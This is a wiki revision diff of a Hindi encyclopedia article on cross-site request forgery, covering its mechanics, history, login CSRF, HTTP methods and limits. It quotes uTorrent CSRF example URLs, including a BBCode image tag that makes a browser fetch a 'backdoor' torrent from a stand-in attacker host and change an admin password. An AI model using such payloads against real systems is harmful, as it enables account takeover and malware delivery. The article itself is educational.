क्रॉस साइट अनुरोध जालसाजी: Difference between revisions
From Vigyanwiki
No edit summary |
No edit summary |
||
| Line 1: | Line 1: | ||
{{short description|Malicious website exploit where unauthorized commands are transmitted from a trusted user}} | {{short description|Malicious website exploit where unauthorized commands are transmitted from a trusted user}} | ||
क्रॉस-साइट | '''क्रॉस-साइट रिक्वेस्ट जालसाजी''', जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,<ref name=Shiflett /> या [[वेबसाइट]] या [[वेब अनुप्रयोग|वेब एप्लिकेशन]] का प्रकार का मालिसियस [[शोषण (कंप्यूटर सुरक्षा)|एक्सप्लॉइट (कंप्यूटर)]] है। जहां [[उपयोगकर्ता (कंप्यूटिंग)]] से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन भरोसा करता है।<ref name=Ristic>{{cite book|author=Ristic, Ivan|title=अपाचे सुरक्षा|url=https://archive.org/details/apachesecurity00rist_938|url-access=limited|publisher=O'Reilly Media|isbn=0-596-00724-8|year=2005|page=[https://archive.org/details/apachesecurity00rist_938/page/n303 280]}}</ref> इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और [[जावास्क्रिप्ट|जावास्क्रिप्ट फ़ेच]] एक्सएमएलHttpRequests विकल्प या एक्सएमएलHttpRequestss, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से [[ क्रॉस साइट स्क्रिप्टिंग |क्रॉस साइट स्क्रिप्टिंग]] (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के भरोसे का लाभ उठाता है, सीएसआरएफ उस भरोसे का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।<ref name="Synopsys">{{cite web|url=https://www.synopsys.com/glossary/what-is-csrf.html|title=What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys }}</ref> सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका इरादा नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के खाते में परिवर्तन सम्मिलित हो सकता है। | ||
'''सीएसआरएफ शब्द का''' उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं। | |||
सीएसआरएफ शब्द का उपयोग सीएसआरएफ | |||
== विशेषताएँ == | == विशेषताएँ == | ||
सीएसआरएफ | सीएसआरएफ अटैक में, अटैक्स का लक्ष्य निर्दोष पीड़ित को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक पीड़ित के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। जोखिम में वे वेब एप्लिकेशन हैं जो विशिष्ट कार्रवाई के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और [[प्रमाणीकरण]] उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। उपयोगकर्ता जो उपयोगकर्ता के [[वेब ब्राउज़र]] में सहेजी गई [[HTTP|एचटीटीपी]] कुकी द्वारा प्रमाणित है, इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है जो उपयोगकर्ता पर भरोसा करती है और इस तरह अवांछित कार्रवाई का कारण बन सकती है। | ||
वेब ब्राउज़र की सामान्य संपत्ति यह है कि वे स्वचालित रूप से और अदृश्य रूप से उस डोमेन पर भेजे गए किसी भी वेब | वेब ब्राउज़र की सामान्य संपत्ति यह है कि वे स्वचालित रूप से और अदृश्य रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करेंगे। सीएसआरएफ अटैक्स द्वारा इस संपत्ति का शोषण किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित कार्रवाई करेगा। पीड़ित के खाते में परिवर्तन. | ||
सीएसआरएफ | सीएसआरएफ अटैक को काम करने के लिए, अटैक्स को प्रतिलिपि प्रस्तुत करने योग्य वेब रिक्वेस्ट की पहचान करनी होगी जो लक्ष्य पृष्ठ पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट कार्रवाई निष्पादित करता है। बार ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है और उस लिंक को अटैक्स के नियंत्रण में पृष्ठ पर एम्बेड किया जा सकता है।<ref name="Shiflett" /><ref>{{Cite web|url=https://portswigger.net/web-security/csrf|title=What is CSRF (Cross-site request forgery)? Tutorial & Examples|website=portswigger.net|access-date=2019-11-04}}</ref> यह लिंक इस तरह से रखा जा सकता है कि पीड़ित के लिए लिंक पर क्लिक करना भी जरूरी नहीं है। उदाहरण के लिए, इसे पीड़ित को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के भीतर एम्बेड किया जा सकता है जो पीड़ित द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाएगा। बार जब पीड़ित लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेगा और वेब सर्वर पर रिक्वेस्ट सबमिट कर देगा। वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होगा क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था जिसने लॉग इन किया था और सभी अपेक्षित कुकीज़ जमा की थीं। | ||
क्रॉस-साइट | क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध [[भ्रमित डिप्टी]] का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है। | ||
सीएसआरएफ में आमतौर पर निम्नलिखित विशेषताएं होती हैं: | सीएसआरएफ में आमतौर पर निम्नलिखित विशेषताएं होती हैं: | ||
* इसमें ऐसी साइटें | * इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की [[ऑनलाइन पहचान]] पर निर्भर करती हैं। | ||
* यह उस पहचान में साइट के भरोसे का शोषण करता है। | * यह उस पहचान में साइट के भरोसे का शोषण करता है। | ||
* यह उपयोगकर्ता के ब्राउज़र को लक्षित साइट पर | * यह उपयोगकर्ता के ब्राउज़र को लक्षित साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है। | ||
* इसमें | * इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है। | ||
==इतिहास== | ==इतिहास== | ||
सीएसआरएफ टोकन | सीएसआरएफ टोकन निर्बलता ज्ञात हैं और कुछ स्तिथियो में 2001 से उनका शोषण किया गया है।<ref name=Burns>{{cite web|author=Burns, Jesse|title=Cross Site Request Forgery: An Introduction To A Common Web Weakness|url=https://www.isecpartners.com/media/11961/CSRF_Paper.pdf|publisher=Information Security Partners, LLC|year=2005|access-date=2011-12-12}}</ref> क्योंकि यह उपयोगकर्ता के आईपी पते से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का सबूत नहीं हो सकता है।<ref name="Ristic"/> कम से कम सार्वजनिक रूप से, और 2007 तक, शोषण की कम रिपोर्ट की गई है<ref>{{cite web|author1=Christey, Steve |author2=Martin, Robert A.|title=सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)|url=http://cwe.mitre.org/documents/vuln-trends/index.html|date=May 22, 2007|publisher=MITRE Corporation|access-date=2008-06-07}}</ref> कुछ अच्छी तरह से प्रलेखित उदाहरण थे: | ||
* 2006 में [[ NetFlix |NetFlix]] वेबसाइट में सीएसआरएफ के लिए | * 2006 में [[ NetFlix |NetFlix]] वेबसाइट में सीएसआरएफ के लिए अनेक कमजोरियां थीं, जो अटैक्स को पीड़ित की किराये की कतार में डीवीडी जोड़ने, खाते पर शिपिंग पता परिवर्तन, या पूरी तरह से समझौता करने के लिए पीड़ित के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी। खाता।<ref>{{cite web|author1=Washkuch Jr., Frank|title=नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया|url=https://www.scmagazine.com/home/security-news/netflix-fixes-cross-site-request-forgery-hole/|date=October 17, 2006|publisher=SC Magazine|access-date=2019-02-11}}</ref> | ||
2018 में वेब-सक्षम उपकरणों के | *[[आईएनजी डायरेक्ट]] का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध धन हस्तांतरण की अनुमति देता था।<ref name="zeller">{{cite web|author1=William Zeller |author2=Edward W. Felten |title=Cross-Site Request Forgeries: Exploitation and Prevention|url=https://www.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf|access-date=29 May 2015|date=October 2008}}</ref> | ||
*लोकप्रिय वीडियो वेबसाइट [[यूट्यूब]] भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।<ref name="zeller" /> | |||
*McAfee Securities भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी प्रणाली को परिवर्तन की अनुमति दी। इसे नए संस्करणों में ठीक कर दिया गया है.<ref name="Mike">{{cite web|author=Mike, Bailey|title=CSRF: Yeah, It Still Works….|url=https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-bailey-mcree-csrf.pdf|publisher=DEFCON|year=2009}}</ref> | |||
2018 में वेब-सक्षम उपकरणों के अधीन नए अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए जल्दबाजी में फर्मवेयर अपडेट जारी किए, और जोखिम को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी। स्पष्ट सुरक्षा कारणों का हवाला देते हुए विवरण जारी नहीं किया गया।<ref>{{cite web |url=https://www.draytek.co.uk/support/security-advisories/kb-advisory-csrf-and-dns-dhcp-web-attacks |title=Security Advisory: CSRF & DNS/DHCP/Web Attacks |website=Draytek|date=May 2018|access-date= 18 May 2018}}</ref> | |||
==उदाहरण== | ==उदाहरण== | ||
[[Image:NVD-CVE-2007-1332.png|thumb|सीएसआरएफ भेद्यता का वर्णन करने वाला [[राष्ट्रीय भेद्यता डेटाबेस]] पृष्ठ]] | [[Image:NVD-CVE-2007-1332.png|thumb|सीएसआरएफ भेद्यता का वर्णन करने वाला [[राष्ट्रीय भेद्यता डेटाबेस]] पृष्ठ]]अटैक्स जो प्रतिलिपि प्रस्तुत करने योग्य लिंक पा सकते हैं जो पीड़ित के लॉग इन होने पर लक्ष्य पृष्ठ पर विशिष्ट कार्रवाई निष्पादित करता है, वे ऐसे लिंक को उस पृष्ठ पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और पीड़ित को इसे खोलने के लिए धोखा दे सकते हैं।<ref name=Shiflett>{{cite web|author= Shiflett, Chris|title= Security Corner: Cross-Site Request Forgeries|url= http://shiflett.org/articles/cross-site-request-forgeries|date= December 13, 2004|publisher= php|architect (via shiflett.org)|access-date= 2008-07-03}}</ref> आक्रमण वाहक लिंक को उस स्थान पर रखा जा सकता है जहां लक्ष्य साइट (उदाहरण के लिए, चर्चा मंच) में लॉग इन करते समय पीड़ित के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। uTorrent में वास्तविक सीएसआरएफ भेद्यता ([https://web.nvd.nist.gov/view/wln/detail?wlnId=CVE-2008-6586 CVE-2008-6586]) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल [[ स्थानीय होस्ट |स्थानीय होस्ट]] पर पहुंच योग्य है। :8080 ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी: | ||
;एक .torrent फ़ाइल डाउनलोड को बाध्य करें: <nowiki>http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent</nowiki> | ;एक .torrent फ़ाइल डाउनलोड को बाध्य करें: <nowiki>http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent</nowiki> | ||
;UTorrent व्यवस्थापक पासवर्ड बदलें: <nowiki>http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin</nowiki> | ;UTorrent व्यवस्थापक पासवर्ड बदलें: <nowiki>http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin</nowiki> | ||
फ़ोरम और [[ईमेल स्पैम]] पर | फ़ोरम और [[ईमेल स्पैम]] पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए, जिससे इन पृष्ठों पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक कार्रवाई के बिना स्वचालित रूप से खोल सकें। इन पेजों को खोलने के साथ ही असुरक्षित [[ utorrent |utorrent]] संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे। | ||
इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक अक्सर [[इंटरनेट मंच]]ों से किए जाते हैं, जहां उपयोगकर्ताओं को छवियां पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए [[बीबीसीओडी]] का उपयोग करना: | |||
<syntaxhighlight lang="bbcode">[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]</syntaxhighlight> | <syntaxhighlight lang="bbcode">[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]</syntaxhighlight> | ||
स्थानीय uTorrent एप्लिकेशन पर | स्थानीय uTorrent एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर {{mono|localhost:8080}}, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी मौजूदा एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह सामान्य संपत्ति सीएसआरएफ अटैक्स को उनकी लक्षित कमजोरियों का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय लक्ष्य वेबसाइट (इस उदाहरण में, स्थानीय uTorrent वेब इंटरफ़ेस) में लॉग इन है। | ||
ऊपर वर्णित uTorrent उदाहरण में, | ऊपर वर्णित uTorrent उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि uTorrent के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल बदलें, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो {{IETF RFC|2616}} स्पष्ट रूप से हतोत्साहित करता है: | ||
{{quotation|In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.}} | {{quotation|In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.}} | ||
इस धारणा के कारण, [[ वेब ढाँचा |वेब ढाँचा]] में | इस धारणा के कारण, [[ वेब ढाँचा |वेब ढाँचा]] में अनेक मौजूदा सीएसआरएफ रोकथाम तंत्र जीईटी अनुरोधों को कवर नहीं करेंगे, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा लागू करेंगे जिनका उद्देश्य राज्य-परिवर्तन करना है।<ref> | ||
{{Cite web | {{Cite web | ||
|title = Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django | |title = Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django | ||
| Line 52: | Line 53: | ||
}} | }} | ||
</ref> | </ref> | ||
==लॉगिन | ==लॉगिन रिक्वेस्ट फोर्जिंग== | ||
एक | एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके पीड़ित को लक्षित वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स बाद में अपनी वैध साख के साथ साइट पर लॉग इन कर सकता है और खाते में सहेजी गई गतिविधि इतिहास जैसी निजी जानकारी देख सकता है। यह अटैक [[Google]] के विरुद्ध प्रदर्शित किया गया है<ref>Adam Barth, Collin Jackson, and John C. Mitchell, [http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf Robust Defenses for Cross-Site Request Forgery], ''Proceedings of the 15th ACM Conference on Computer and Communications Security,'' ACM 2008</ref> और [[याहू]].<ref name=":0">Joseph Foulds, [http://www.jfoulds.com/blog/passive-monitoring-login-request-forgery/ Passive monitoring login request forgery, Yahoo] {{webarchive|url=https://web.archive.org/web/20141222202044/http://jfoulds.com/blog/passive-monitoring-login-request-forgery/ |date=2014-12-22 }}</ref> | ||
== | ==एचटीटीपी क्रियाएं और सीएसआरएफ== | ||
प्रकार के आधार पर, [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |हाइपरटेक्स्ट परहस्त शिष्टाचार]] हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल | प्रकार के आधार पर, [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |हाइपरटेक्स्ट परहस्त शिष्टाचार]] हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या रिक्वेस्ट विधियां सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं। | ||
* [[HTTP GET]] में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल [[हाइपरलिंक]] जिसमें | * [[HTTP GET|एचटीटीपी जीईटी]] में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल [[हाइपरलिंक]] जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को [[HTTP POST|एचटीटीपी पोस्ट]] पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए। | ||
* | * सीएसआरएफ के लिए एचटीटीपी पोस्ट भेद्यता उपयोग परिदृश्य पर निर्भर करती है: | ||
**[[क्वेरी स्ट्रिंग]] के रूप में एन्कोड किए गए डेटा के साथ | **[[क्वेरी स्ट्रिंग]] के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (<code>field1=value1&field2=value2</code>) सीएसआरएफ अटैक को सरल [[फॉर्म (एचटीएमएल)]] का उपयोग करके आसानी से लागू किया जाता है और सीएसआरएफ विरोधी उपायों को लागू किया जाना चाहिए। | ||
**यदि डेटा किसी अन्य प्रारूप ([[JSON]], [[XML]]) में भेजा जाता है, तो समान-मूल नीति ( | **यदि डेटा किसी अन्य प्रारूप ([[JSON|जेएसओएन]], [[XML|एक्सएमएल]]) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल संसाधन साझाकरण (सीओआरएस ) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ [[XMLHttpRequest|एक्सएमएलHttpRequests]] का उपयोग करके पोस्ट रिक्वेस्ट जारी करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके मनमानी सामग्री भेजने की तकनीक है <code>ENCTYPE</code> गुण; ऐसे नकली रिक्वेस्ट को वैध अनुरोधों से अलग किया जा सकता है <code>text/plain</code> सामग्री प्रकार, किन्तु यदि इसे सर्वर पर लागू नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है<ref>{{cite web | url=http://pentestmonkey.net/blog/csrf-xml-post-request | title=XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी| publisher=pentestmonkey | access-date=September 4, 2015}}</ref><ref>{{cite web | url=http://conference.hitb.org/hitbsecconf2007dubai/materials/D2%20-%20Shreeraj%20Shah%20-%20Web%202-0%20Hacking%20-%20Defending%20Ajax%20and%20Web%20Services.pdf.pdf | title=Web 2.0 Hacking Defending Ajax & Web Services | publisher=HITB | date=2008 | access-date=September 4, 2015 | author=Sheeraj Shah}}</ref> | ||
*अन्य | *अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-मूल संसाधन साझाकरण (सीओआरएस ) के साथ एक्सएमएलHttpRequests का उपयोग करके जारी की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं <code>Access-Control-Allow-Origin: *</code> हैडर | ||
==सीएसआरएफ के लिए अन्य दृष्टिकोण== | ==सीएसआरएफ के लिए अन्य दृष्टिकोण== | ||
इसके अतिरिक्त, जबकि आम तौर पर स्थिर प्रकार के | इसके अतिरिक्त, जबकि आम तौर पर स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के हिस्से के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि [[सैमी (एक्सएसएस)]] वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन जानकारी से फ्लाई पर बनाया गया है। ऑफसाइट सामग्री के माध्यम से और मालिसियस यूआरएल के रूप में लक्ष्य को भेजा गया। [[सत्र निर्धारण|सेशन निर्धारण]] या अन्य कमजोरियों के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या क्रूर-बल अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पृष्ठ पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के आक्रमण वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था<ref>{{cite web|url=http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html | ||
|title=Security Fix - Weaponizing Web 2.0}}</ref> 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा,<ref>[http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ Dynamic CSRF] {{webarchive|url=https://web.archive.org/web/20100213160456/http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ |date=2010-02-13 }}</ref> | |title=Security Fix - Weaponizing Web 2.0}}</ref> 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा,<ref>[http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ Dynamic CSRF] {{webarchive|url=https://web.archive.org/web/20100213160456/http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ |date=2010-02-13 }}</ref> चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है। | ||
जनवरी 2012 में स्थानीय OWASP अध्याय की बैठक में ओरेन ओफ़र द्वारा गतिशील | जनवरी 2012 में स्थानीय OWASP अध्याय की बैठक में ओरेन ओफ़र द्वारा गतिशील सीएसआरएफ अटैक्स की रचना के लिए नया वेक्टर प्रस्तुत किया गया था - एजेएएक्स हैमर - डायनेमिक सीएसआरएफ।<ref>Owasp.org: [https://www.owasp.org/index.php/OWASP_Israel_2012_01#18:15_-_19:00.C2.A0:_AJAX.E2.80.99_Hammer_-_Harnessing_AJAX_for_CSRF_Attacks Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks]</ref><ref>[https://code.google.com/p/hasc-research/downloads/list Downloads – hasc-research – hasc-research – Google Project Hosting]. Code.google.com (2013-06-17). Retrieved on 2014-04-12.</ref> | ||
==प्रभाव== | ==प्रभाव== | ||
सीएसआरएफ टोकन कमजोरियों के लिए गंभीरता मेट्रिक्स जारी किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ [[रिमोट कोड निष्पादन]] होता है<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/584089|title=Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities}}</ref> साथ ही भेद्यता जो रूट प्रमाणपत्र से समझौता कर सकती है, जो सार्वजनिक कुंजी बुनियादी ढांचे को पूरी तरह से कमजोर कर देगी।<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/264385|title=Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)}}</ref> | सीएसआरएफ टोकन कमजोरियों के लिए गंभीरता मेट्रिक्स जारी किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ [[रिमोट कोड निष्पादन]] होता है<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/584089|title=Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities}}</ref> साथ ही भेद्यता जो रूट प्रमाणपत्र से समझौता कर सकती है, जो सार्वजनिक कुंजी बुनियादी ढांचे को पूरी तरह से कमजोर कर देगी।<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/264385|title=Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)}}</ref> | ||
==सीमाएँ== | ==सीमाएँ== | ||
क्रॉस-साइट | क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए: | ||
# | # अटैक्स को या तो ऐसी साइट को निशाना बनाना चाहिए जो एचटीटीपी रेफरर की जांच नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले पीड़ित को निशाना बनाना चाहिए जो [[ रेफरर स्पूफ़िंग |रेफरर स्पूफ़िंग]] की अनुमति देता है।<ref>{{cite web |title=उन्नत क्रॉस-साइट हमले की रोकथाम|url=https://worldwide.espacenet.com/publicationDetails/biblio?DB=EPODOC&II=0&ND=3&adjacent=true&locale=en_EP&FT=D&date=20081029&CC=EP&NR=1986395A1&KC=A1# |website=Espacenet |publisher=European Patent Office |access-date=21 November 2019 |ref=EP1986395A1}}</ref> | ||
# | # अटैक्स को लक्ष्य साइट पर फ़ॉर्म सबमिशन, या यूआरएल ढूंढना होगा जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या पीड़ित का ई-मेल पता या पासवर्ड बदलता है)। | ||
# | # अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त प्रमाणीकरण मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में बेहद भाग्यशाली न हो)। | ||
# जब पीड़ित लक्ष्य साइट पर लॉग इन हो तो | # जब पीड़ित लक्ष्य साइट पर लॉग इन हो तो अटैक्स को पीड़ित को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए। | ||
